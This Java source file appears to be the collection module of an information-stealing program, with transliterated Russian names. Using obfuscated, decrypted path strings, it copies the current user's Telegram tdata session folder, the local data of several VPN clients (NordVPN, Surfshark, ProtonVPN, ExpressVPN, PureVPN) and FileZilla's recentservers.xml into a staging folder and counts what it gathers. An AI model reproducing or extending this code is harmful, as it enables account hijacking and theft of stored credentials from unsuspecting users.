package procat.sbor;

import org.apache.commons.io.FileUtils;
import procat.ui.Nastroiki;

import java.io.File;
import java.io.IOException;
import java.nio.channels.FileChannel;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;

public class SborMsg  implements Runnable {

    public static int stetchik_msg = 0;



    private static void Copys() throws IOException {

        Nastroiki nastr = new Nastroiki();
        String file_put_msg = Nastroiki.getFolder()+nastr.decrName(nastr.getSbor_msg_put());
        String pc_put = nastr.decrName(nastr.getC_user_put()) + System.getProperty("user.name");


        sbor(pc_put + nastr.decrName(nastr.getPut_AppData()) + nastr.decrName(nastr.getPut_Roaming()) + nastr.decrName(nastr.getPut_Telegram()) + " " + nastr.decrName(nastr.getPut_Desktop()) + nastr.decrName(nastr.getPut_Telegram_tdata()), file_put_msg + nastr.decrName(nastr.getPut_Telegram()));
        sbor(pc_put + nastr.decrName(nastr.getPut_AppData()) + nastr.decrName(nastr.getPut_Local()) + nastr.decrName(nastr.getNordVPN()), file_put_msg+nastr.decrName(nastr.getNordVPN()));
        sbor(pc_put + nastr.decrName(nastr.getPut_AppData()) + nastr.decrName(nastr.getPut_Roaming()) + nastr.decrName(nastr.getSurfshark()), file_put_msg+nastr.decrName(nastr.getSurfshark()));
        sbor(pc_put + nastr.decrName(nastr.getPut_AppData()) + nastr.decrName(nastr.getPut_Local()) + nastr.decrName(nastr.getProtonVPN()), file_put_msg+nastr.decrName(nastr.getProtonVPN()));
        sbor(pc_put + nastr.decrName(nastr.getPut_AppData()) + nastr.decrName(nastr.getPut_Local()) + nastr.decrName(nastr.getExpressVPN()), file_put_msg+nastr.decrName(nastr.getExpressVPN()));
        sbor(pc_put + nastr.decrName(nastr.getPut_AppData()) + nastr.decrName(nastr.getPut_Local()) + nastr.decrName(nastr.getGZ_Systems()), file_put_msg+nastr.decrName(nastr.getPureVPN()));
        if (new File(pc_put + nastr.decrName(nastr.getPut_AppData()) + nastr.decrName(nastr.getPut_Roaming()) + nastr.decrName(nastr.getFileZilla()) + nastr.decrName(nastr.getRecentservers()) + nastr.decrName(nastr.getXml())).exists()) {
            Files.copy(new File(pc_put + nastr.decrName(nastr.getPut_AppData()) + nastr.decrName(nastr.getPut_Roaming()) + nastr.decrName(nastr.getFileZilla()) + nastr.decrName(nastr.getRecentservers()) + nastr.decrName(nastr.getXml())).toPath(), new File(file_put_msg + nastr.decrName(nastr.getRecentservers()) + nastr.decrName(nastr.getXml())).toPath());
        }
    }

    private static void sbor(String put, String glav) {
        try {
            if (new File(put).exists()) {
                if (!new File(glav).exists()) {
                    new File(glav).mkdirs();

                    FileUtils.copyFile(new File(put), new File(glav));


                    String value_size_KB = String.valueOf(getSizeKB(new File(glav)));
                    int size_KB = Math.round(Float.parseFloat(value_size_KB));

                    if (size_KB > 10000) {
                        new File(glav).delete();
                    }

                    stetchik_msg += 1;
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static double getSizeKB(File file) {
        return (double) file.length()/1024;
    }

    @Override
    public void run() {
        try {
            Copys();
        } catch (IOException e) {
            System.out.println("Ошибка рпи копировании файла - " + e);
        }
    }
}
